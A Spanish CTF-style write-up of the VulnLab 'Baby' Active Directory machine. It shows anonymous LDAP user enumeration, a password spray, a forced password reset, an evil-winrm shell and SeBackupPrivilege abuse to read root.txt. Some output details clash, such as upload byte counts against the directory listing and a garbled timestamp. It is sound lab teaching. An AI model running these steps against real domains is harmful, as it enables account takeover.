VulnLab: Baby
El día de hoy vamos a realizar el writeup de la máquina vulnerable Baby de VulnLab. Esta máquina está diseñada para principiantes y nos ayudará a entender conceptos básicos de explotación y escalada de privilegios en entornos Active Directory.
Reconocimiento
Comenzamos con un escaneo de puertos utilizando Nmap para identificar los servicios que están corriendo en la máquina objetivo.
sudo nmap -sS -Pn -n -p- --open -T5 --min-rate 5000 10.10.65.235 -vvv
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
Al ver los puertos abiertos, notamos que hay varios servicios de Windows corriendo, incluyendo SMB (puertos 139 y 445) y WinRM (puerto 5985).
Enumeración SMB
Vamos a enumerar el servicio SMB utilizando netexec con una sesión anónima.
nxc smb 10.10.65.235 -u '' -p ''
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
Al ver que teníamos la capacidad de autenticarnos de manera anónima, procedemos a listar recursos y generar el archivo hosts.
nxc smb 10.10.65.235 -u '' -p '' --shares
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
SMB 10.10.65.235 445 BABYDC [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc smb 10.10.65.235 -u '' -p '' --generate-hosts hosts.txt
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
cat hosts.txt
10.10.65.235 BABYDC.baby.vl baby.vl BABYDC
Agregamos la entrada al archivo /etc/hosts para facilitar futuras conexiones.
A continuación enumeramos usuarios por LDAP ya que por SMB de manera anónima no pudimos obtener mucha información.
nxc ldap 10.10.65.235 -u '' -p '' --users-export output.txt
LDAP 10.10.65.235 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
LDAP 10.10.65.235 389 BABYDC [+] baby.vl\:
LDAP 10.10.65.235 389 BABYDC [*] Enumerated 9 domain users: baby.vl
LDAP 10.10.65.235 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.65.235 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.65.235 389 BABYDC Jacqueline.Barnett 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Ashley.Webb 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Hugh.George 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Leonard.Dyer 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Connor.Wilkinson 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Joseph.Hughes 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Kerry.Wilson 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Teresa.Bell 2021-11-21 10:14:37 0 Set initial password to BabyStart123!
LDAP 10.10.65.235 389 BABYDC [*] Writing 9 local users to output.txt
Revisamos el archivo output.txt y encontramos varios usuarios. Notamos que el usuario Teresa.Bell tiene una descripción que indica su contraseña inicial: BabyStart123!.
Acceso Inicial
Hacemos un password spray usando SMB y la credencial que encontramos para el usuario Teresa.Bell.
nxc smb 10.10.65.235 -u output.txt -p 'BabyStart123!'
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
Vemos que la contraseña no funciona, pero recordamos el mensaje que nos dio el servicio LDAP, así que procedemos a ver de manera manual usando ldapsearch si encontramos más usuarios con la misma contraseña.
ldapsearch -x -b "dc=baby,dc=vl" "user" -H ldap://10.10.65.235
...
# Caroline Robinson, it, baby.vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
Al final encontramos el usuario Caroline.Robinson en el departamento de IT. Probamos la misma contraseña con este usuario y vemos que retorna el estado Password_Must_Change.
nxc smb 10.10.65.235 -u 'Caroline.Robinson' -p 'BabyStart123!'
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
Procedemos a cambiar la contraseña utilizando smbpasswd.
smbpasswd -r 10.10.65.235 -U Caroline.Robinson
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson
Después de unos errores debido a la política de contraseñas, logramos cambiar la contraseña a RootMaker123! y para verificar usamos netexec para enumerar la política de contraseñas.
nxc smb 10.10.65.235 -u 'Caroline.Robinson' -p 'RootMaker123!' --pass-pol
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\Caroline.Robinson:RootMaker123!
SMB 10.10.65.235 445 BABYDC [+] Dumping password info for domain: BABY
SMB 10.10.65.235 445 BABYDC Minimum password length: 7
SMB 10.10.65.235 445 BABYDC Password history length: 24
SMB 10.10.65.235 445 BABYDC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.65.235 445 BABYDC
SMB 10.10.65.235 445 BABYDC Password Complexity Flags: 000001
SMB 10.10.65.235 445 BABYDC Domain Refuse Password Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password Store Cleartext: 0
SMB 10.10.65.235 445 BABYDC Domain Password Lockout Admins: 0
SMB 10.10.65.235 445 BABYDC Domain Password No Clear Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password No Anon Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password Complex: 1
SMB 10.10.65.235 445 BABYDC
SMB 10.10.65.235 445 BABYDC Minimum password age: 1 day 4 minutes
SMB 10.10.65.235 445 BABYDC Reset Account Lockout Counter: 30 minutes
SMB 10.10.65.235 445 BABYDC Locked Account Duration: 30 minutes
SMB 10.10.65.235 445 BABYDC Account Lockout Threshold: None
SMB 10.10.65.235 445 BABYDC Forced Log off Time: Not Set
Ahora probamos a conectarnos por WinRM utilizando las credenciales de Caroline.Robinson y la nueva contraseña.
evil-winrm -i 10.10.65.235 -u 'Caroline.Robinson' -p 'RootMaker123!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami
baby\caroline.robinson
Y encontramos la flag de user.txt.
Escalada de Privilegios
Para la escalada de privilegios, enumeramos los privilegios del usuario actual con whoami /priv y notamos el privilegio SeBackupPrivilege.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Con este privilegio realizamos una explotación manual. Al poder realizar backups, podemos extraer el archivo root.txt que contiene la flag de root. Subimos los siguientes módulos a C:\Temp:
*Evil-WinRM* PS C:\Temp> upload /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
Info: Uploading .../SeBackupPrivilegeCmdLets.dll to C:\Temp\SeBackupPrivilegeCmdLets.dll
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> upload /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Info: Uploading .../SeBackupPrivilegeUtils.dll to C:\Temp\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Temp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\Temp> Get-SeBackupPrivilege
Con los módulos importados usamos Copy-FileSeBackupPrivilege para copiar el archivo root.txt a nuestra carpeta temporal.
*Evil-WinRM* PS C:\Temp> Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\root.txt C:\Temp\root.txt -Overwrite
*Evil-WinRM* PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- -------------- ------ ----
-a---- 2/5/2026 6:44 PM 36 root.txt
-a---- 2/5/65.2026 6:14 PM 49152 sam.hive
-a---- 2/5/2026 6:42 PM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 2/5/2026 6:42 PM 16384 SeBackupPrivilegeUtils.dll
-a---- 2/5/2026 6:14 PM 16859136 system.hive
Y con esto obtenemos la flag de root, completando la máquina.
Conclusiones
Baby es una máquina excelente para quienes se inician en entornos Active Directory. Los puntos clave a recordar:
- Siempre revisar la descripción de los usuarios en LDAP — puede contener credenciales
- El estado
STATUS_PASSWORD_MUST_CHANGEindica que podemos cambiar la contraseña sin conocer la actual SeBackupPrivilegepermite leer archivos incluso sin permisos explícitos, una técnica fundamental en AD